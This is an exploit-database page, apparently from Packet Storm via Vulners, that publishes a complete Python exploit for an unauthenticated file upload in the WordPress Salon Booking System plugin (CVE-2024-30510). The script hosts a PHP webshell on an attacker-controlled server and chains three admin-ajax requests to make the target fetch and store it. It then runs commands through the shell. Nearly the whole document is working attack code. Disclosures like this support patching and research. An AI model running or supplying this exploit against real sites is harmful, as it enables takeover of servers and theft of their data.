Lucene search
+L

📄 WordPress Salon Booking System 9.5 Unauthenticated Shell Upload

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

CVE-2024-30510: WordPress Salon Booking System <=9.5 unauthenticated file upload leads to RCE.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Salon Booking System <= 9.5 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/salon-booking-system/
    # Software Link: https://downloads.wordpress.org/plugin/salon-booking-system.9.4.zip
    # Version: 9.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-30510
    """CVE-2024-30510 — Salon Booking System <= 9.5 — Unauthenticated Arbitrary File Upload -> RCE
    
    Blackbox HTTP exploit against a real WordPress + Salon Booking System install.
    
    Root cause:
      - admin-ajax action `salon` is registered for nopriv (src/SLN/Action/Init.php:415) and the
        dispatcher SLN_Plugin::ajax() has its nonce check COMMENTED OUT (src/SLN/Plugin.php:220),
        then instantiates SLN_Action_Ajax_<method> from $_REQUEST['method'] with no capability check.
      - method=importAssistants -> SLN_Action_Ajax_ImportAssistants, a 3-step CSV "import assistants"
        flow (start -> matching -> process). On `process`, for a row whose mapped `image_url` field
        is set, the handler does file_get_contents($image_url) then fwrite() into the uploads dir
        using basename($image_url) as the filename, with NO extension/MIME validation
        (src/SLN/Action/Ajax/ImportAssistants.php ~L111-121). A `.php` URL yields a webshell.
    
    The import state is kept in a site-wide transient, so the 3 unauthenticated requests chain
    without any cookie/session.
    
    Usage:
      python3 CVE-2024-30510_salon-booking.py --target http://localhost:8090 --lhost host.docker.internal
    """
    import argparse, threading, http.server, socketserver, time, sys, datetime, urllib.parse
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    TOKEN = "SALON_PWNED_30510"
    SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
             "echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
    
    class PayloadHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Content-Length", str(len(SHELL)))
            self.end_headers()
            self.wfile.write(SHELL)
        def log_message(self, *a): pass
    
    def start_server(port):
        socketserver.TCPServer.allow_reuse_address = True
        httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
        threading.Thread(target=httpd.serve_forever, daemon=True).start()
        return httpd
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
        ap.add_argument("--lport", type=int, default=8902)
        ap.add_argument("--shell-name", default="salon_shell.php")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        ajax = base + "/wp-admin/admin-ajax.php"
    
        print(f"[*] Target: {base}")
        print(f"[*] Payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
        httpd = start_server(args.lport)
        time.sleep(0.4)
    
        shell_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
        # CSV: header row defines columns 'name' and 'image_url'; data row carries the payload URL
        csv = f"name,image_url\nlab-assistant,{shell_url}\n"
    
        # --- Step 1: start (multipart upload of the CSV) ---
        print("[*] Step 1/3 -> step=start (upload CSV defining image_url column)")
        r1 = requests.post(ajax,
            data={"action": "salon", "method": "importAssistants", "step": "start"},
            files={"file": ("import.csv", csv, "text/csv")},
            timeout=30, verify=False)
        print(f"    HTTP {r1.status_code} :: {r1.text[:160]}")
    
        # --- Step 2: matching (map plugin fields -> CSV columns) ---
        form = urllib.parse.urlencode({
            "import_matching[name]": "name",
            "import_matching[image_url]": "image_url",
        })
        print("[*] Step 2/3 -> step=matching (map image_url -> image_url column)")
        r2 = requests.post(ajax,
            data={"action": "salon", "method": "importAssistants", "step": "matching", "form": form},
            timeout=30, verify=False)
        print(f"    HTTP {r2.status_code} :: {r2.text[:160]}")
    
        # --- Step 3: process (triggers file_get_contents + fwrite of the payload) ---
        print("[*] Step 3/3 -> step=process (fetch image_url + write to uploads)")
        r3 = requests.post(ajax,
            data={"action": "salon", "method": "importAssistants", "step": "process"},
            timeout=30, verify=False)
        print(f"    HTTP {r3.status_code} :: {r3.text[:160]}")
    
        # webshell lands in uploads/<YYYY>/<MM>/<name>
        now = datetime.datetime.now(datetime.timezone.utc)
        candidates = [
            f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
            f"/wp-content/uploads/{args.shell_name}",
        ]
        print("[*] Verifying webshell (blackbox RCE check)...")
        for path in candidates:
            try:
                rr = requests.get(base + path, params={"c": args.cmd}, timeout=15, verify=False)
            except Exception as e:
                print(f"    {path} -> error {e}"); continue
            if TOKEN in rr.text:
                print(f"\n[+] RCE CONFIRMED — webshell at {path}")
                print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
                httpd.shutdown(); return 0
            print(f"    {path} -> HTTP {rr.status_code} (no marker)")
        print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
        httpd.shutdown(); return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.19.8 - 10
EPSS0.00668
SSVC
8